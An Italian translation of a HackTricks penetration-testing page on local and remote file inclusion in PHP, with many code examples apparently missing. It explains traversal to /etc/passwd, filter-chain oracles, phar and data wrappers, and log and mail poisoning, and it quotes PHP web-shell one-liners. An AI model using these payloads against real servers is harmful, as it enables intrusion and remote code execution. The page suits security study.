<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
**Inclusione di file remoto (RFI):** Il file viene caricato da un server remoto (Migliore: Puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** per impostazione predefinita (**allow\_url\_include**).\
Una lista che utilizza diverse tecniche per trovare il file /etc/password (per verificare se esiste la vulnerabilità) si trova [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Una lista che utilizza diverse tecniche per trovare il file /boot.ini (per verificare se esiste la vulnerabilità) si trova [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (pagina=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
Il file system di un server può essere esplorato in modo ricorsivo per identificare directory, non solo file, utilizzando determinate tecniche. Questo processo implica il determinare la profondità della directory e sondare l'esistenza di cartelle specifiche. Di seguito è riportato un metodo dettagliato per raggiungere questo obiettivo:
1.**Determinare la Profondità della Directory:** Accertare la profondità della directory corrente ottenendo con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
2.**Sonda per Cartelle:** Aggiungi il nome della cartella sospettata (ad esempio, `private`) all'URL, quindi naviga nuovamente a `/etc/passwd`. Il livello aggiuntivo della directory richiede di incrementare la profondità di uno:
4.**Esplorazione Ricorsiva:** Le cartelle scoperte possono essere ulteriormente esaminate per sottocartelle o file utilizzando la stessa tecnica o metodi tradizionali di Inclusione di File Locale (LFI).
Per esplorare directory in posizioni diverse nel sistema di file, regolare il payload di conseguenza. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (ipotizzando che la directory corrente sia a una profondità di 3), utilizzare:
Il troncamento del percorso è un metodo utilizzato per manipolare i percorsi dei file nelle applicazioni web. Spesso viene utilizzato per accedere a file restritti eludendo determinate misure di sicurezza che aggiungono caratteri aggiuntivi alla fine dei percorsi dei file. L'obiettivo è creare un percorso del file che, una volta modificato dalla misura di sicurezza, continui a puntare al file desiderato.
*`/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` sono tutti trattati come lo stesso percorso.
* Quando gli ultimi 6 caratteri sono `passwd`, aggiungere un `/` (rendendolo `passwd/`) non cambia il file di destinazione.
* Allo stesso modo, se viene aggiunto `.php` a un percorso del file (come `shellcode.php`), aggiungere `/.` alla fine non altererà il file che viene accesso.
Gli esempi forniti dimostrano come utilizzare il troncamento del percorso per accedere a `/etc/passwd`, un obiettivo comune a causa dei suoi contenuti sensibili (informazioni sull'account utente):
In questi scenari, il numero di attraversamenti necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server.
* **Utilizzo di segmenti puntati e caratteri aggiuntivi**: Le sequenze di attraversamento (`../`) combinate con segmenti puntati e caratteri aggiuntivi possono essere utilizzate per navigare nel file system, ignorando efficacemente le stringhe aggiunte dal server.
* **Determinazione del numero necessario di attraversamenti**: Attraverso tentativi ed errori, è possibile trovare il numero preciso di sequenze `../` necessarie per navigare alla directory radice e quindi a `/etc/passwd`, garantendo che le stringhe aggiunte (come `.php`) siano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
* **Iniziare con una directory fittizia**: È pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene utilizzata come misura precauzionale o per soddisfare i requisiti della logica di analisi del percorso del server.
Nell'utilizzo delle tecniche di troncamento del percorso, è cruciale comprendere il comportamento di analisi del percorso del server e la struttura del file system. Ogni scenario potrebbe richiedere un approccio diverso e spesso è necessario effettuare test per trovare il metodo più efficace.
In php questo è disabilitato di default perché **`allow_url_include`** è **Off.** Deve essere **On** affinché funzioni e, in tal caso, potresti includere un file PHP dal tuo server e ottenere RCE:
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso alle pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti utilizzare ad esempio il protocollo data con base64 per decodificare un codice PHP b64 ed ottenere RCE:
Nel codice precedente, il `+.txt` finale è stato aggiunto perché l'attaccante aveva bisogno di una stringa che terminasse in `.txt`, quindi la stringa finisce con esso e dopo la decodifica b64 quella parte restituirà solo dati non validi e il vero codice PHP verrà incluso (e quindi, eseguito).
> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono eliminati e la concatenazione continua dal componente del percorso assoluto.
Sembra che se si ha una Traversata di Percorso in Java e si **chiede una directory** invece di un file, viene restituito un **elenco della directory**. Questo non accadrà in altre lingue (per quanto ne so).
Ecco l'elenco dei primi 25 parametri che potrebbero essere vulnerabili alle vulnerabilità di inclusione di file locale (LFI) (da [questo link](https://twitter.com/trbughunters/status/1279768631845494787)):
*`convert.iconv.*`: Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere l'**elenco di tutte le codifiche** supportate, eseguire nella console: `iconv -l`
Abusando del filtro di conversione `convert.iconv.*` è possibile **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o rendere un processo di inclusione di funzioni arbitrario. Per ulteriori informazioni, controllare [**LFI2RCE tramite filtri php**](lfi2rce-via-php-filters.md).
[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza ottenere l'output restituito dal server. Questa tecnica si basa su un **esfiltrazione booleana del file (carattere per carattere) utilizzando i filtri php** come oracolo. Questo perché i filtri php possono essere utilizzati per rendere un testo sufficientemente grande da far generare un'eccezione a php.
* Utilizzare il codec **`UCS-4LE`** per lasciare il carattere iniziale del testo all'inizio e far aumentare esponenzialmente la dimensione della stringa.
* Questo verrà utilizzato per generare un **testo così grande quando la lettera iniziale viene indovinata correttamente** che php genererà un **errore**
* Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo vedendo quando facciamo abbastanza trasformazioni per far sì che non sia più un carattere esadecimale. Perché se è esadecimale, dechunk non lo eliminerà e la bomba iniziale farà generare un errore a php.
* Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, ad esempio, perché se applichiamo 6 di questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non lo elimina e viene generato l'errore di php perché si moltiplica con la bomba iniziale.
* Utilizzando altre trasformazioni come **rot13** all'inizio è possibile esfiltrare altre lettere come n, o, p, q, r (e altri codec possono essere utilizzati per spostare altre lettere nell'intervallo esadecimale).
* Quando il carattere iniziale è un numero è necessario codificarlo in base64 e rilasciare le prime 2 lettere per rilasciare il numero.
* Il problema finale è vedere **come rilasciare più della lettera iniziale**. Utilizzando filtri di memoria di ordine come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere nelle prime posizioni altre lettere del testo.
* E per poter ottenere **ulteriori dati** l'idea è quella di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **ruotare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare a fare ciò fino a raggiungere il bit desiderato da rilasciare.
Nel post è stato anche rilasciato uno strumento per eseguire questo processo automaticamente: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
Questo wrapper consente di accedere ai descrittori di file che il processo ha aperto. Potenzialmente utile per esfiltrare il contenuto dei file aperti:
Puoi anche utilizzare **php://stdin, php://stdout e php://stderr** per accedere rispettivamente ai **descrittori di file 0, 1 e 2** (non si sa esattamente come potrebbe essere utile in un attacco)
Il protocollo `data://` consente di specificare i dati direttamente nell'URL anziché fare riferimento a una risorsa esterna. Questo può essere sfruttato per l'inclusione di file, consentendo a un attaccante di inserire dati arbitrari all'interno di un'applicazione web.
Un file `.phar` può essere utilizzato per eseguire codice PHP quando un'applicazione web sfrutta funzioni come `include` per il caricamento di file. Lo snippet di codice PHP fornito di seguito dimostra la creazione di un file `.phar`:
All'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per sfruttare le vulnerabilità di Inclusione Locale di File (LFI).
Nei casi in cui l'LFI esegue solo la lettura dei file senza eseguire il codice PHP al suo interno, attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, potrebbe essere tentata l'exploit di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura dei file utilizzando il protocollo `phar`.
Per una comprensione dettagliata dello sfruttamento delle vulnerabilità di deserializzazione nel contesto dei file `.phar`, fare riferimento al documento collegato di seguito:
Era possibile abusare **di qualsiasi file arbitrario letto da PHP che supporta i filtri php** per ottenere un RCE. La descrizione dettagliata può essere **trovata in questo post**.\
Breve riassunto: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **alterare la catena di chunk liberi** di una dimensione specifica al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
Era possibile allocare chunk di dimensioni specifiche abusando di più filtri php.
* [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrivere in memoria o in un file temporaneo (non sicuro come possa essere utile in un attacco di inclusione di file)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso agli URL HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso agli URL FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flussi di compressione
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova i percorsi corrispondenti al modello (non restituisce nulla di stampabile, quindi non è davvero utile qui)
I rischi di Inclusione Locale di File (LFI) in PHP sono particolarmente alti quando si tratta della funzione 'assert', che può eseguire codice all'interno di stringhe. Questo è particolarmente problematico se l'input contenente caratteri di attraversamento directory come ".." viene controllato ma non correttamente sanificato.
Mentre questo mira a fermare il travaso, crea involontariamente un vettore per l'iniezione di codice. Per sfruttare ciò per leggere i contenuti del file, un attaccante potrebbe utilizzare:
Questa tecnica è rilevante nei casi in cui **controlli** il **percorso del file** di una **funzione PHP** che **accederà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) ma il contenuto non viene mostrato.
In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un traversal del percorso cieco possa essere abusato tramite il filtro PHP per **esfiltrare il contenuto di un file tramite un oracolo di errore**.
In sintesi, la tecnica utilizza la codifica **"UCS-4LE"** per rendere il contenuto di un file così **grande** che la **funzione PHP che apre** il file attiverà un **errore**.
Successivamente, per rivelare il primo carattere, viene utilizzato il filtro **`dechunk`** insieme ad altri come **base64** o **rot13** e infine vengono utilizzati i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** per **posizionare altri caratteri all'inizio e rivelarli**.
Se il server Apache o Nginx è **vulnerabile all'LFI** all'interno della funzione di inclusione, potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostare all'interno dell'**user agent** o all'interno di un **parametro GET** una shell PHP come **`<?php system($_GET['c']); ?>`** e includere quel file
Nota che **se usi virgolette doppie** per la shell invece di **virgolette singole**, le virgolette doppie verranno modificate nella stringa "_**quote;**_", **PHP genererà un errore** e **null'altro verrà eseguito**.
Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che cercherà di caricare il file di log e non avrai una seconda opportunità.
Questo potrebbe essere fatto anche in altri log ma **fai attenzione**, il codice all'interno dei log potrebbe essere codificato in URL e questo potrebbe distruggere la Shell. L'intestazione **authorisation "basic"** contiene "user:password" in Base64 e viene decodificata all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questa intestazione.\
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova ad includerlo nella mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere forzato) e $FD il descrittore del file (può essere forzato anche)
I registri del server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nel caso in cui esista una vulnerabilità di Inclusione di File Locale (LFI) e l'accesso a un server vsftpd esposto sia possibile, si possono considerare i seguenti passaggi:
Come mostrato in [questo](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) articolo, il filtro base64 di PHP ignora semplicemente i Non-base64. Puoi utilizzarlo per aggirare il controllo dell'estensione del file: se fornisci base64 che termina con ".php", esso ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload:
Questo [**articolo**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che è possibile utilizzare **filtri php per generare contenuti arbitrari** in output. Ciò significa essenzialmente che è possibile **generare codice php arbitrario** per l'inclusione **senza la necessità di scriverlo** in un file.
**Carica** un file che verrà memorizzato come **temporaneo** in `/tmp`, quindi nella **stessa richiesta,** provoca un **segmentation fault**, e quindi il **file temporaneo non verrà eliminato** e potrai cercarlo.
Se hai trovato una **Inclusione di File Locale** e **Nginx** è in esecuzione davanti a PHP, potresti essere in grado di ottenere RCE con la seguente tecnica:
Se hai trovato una **Inclusione di File Locale** anche se non hai una sessione e `session.auto_start` è `Off`. Se fornisci il **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **abilita la sessione per te**. Potresti abusare di questo per ottenere RCE:
Se hai trovato una **Inclusione di File Locale** e **puoi esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere ha marcature PHP**, puoi provare a **bypassare quel controllo** con questa **Condizione di Gara**:
Se puoi abusare dell'Inclusione di File Locale per **caricare file temporanei** e far **bloccare** l'esecuzione PHP del server, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
Se includi uno qualsiasi dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso due volte per generare quell'errore).
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
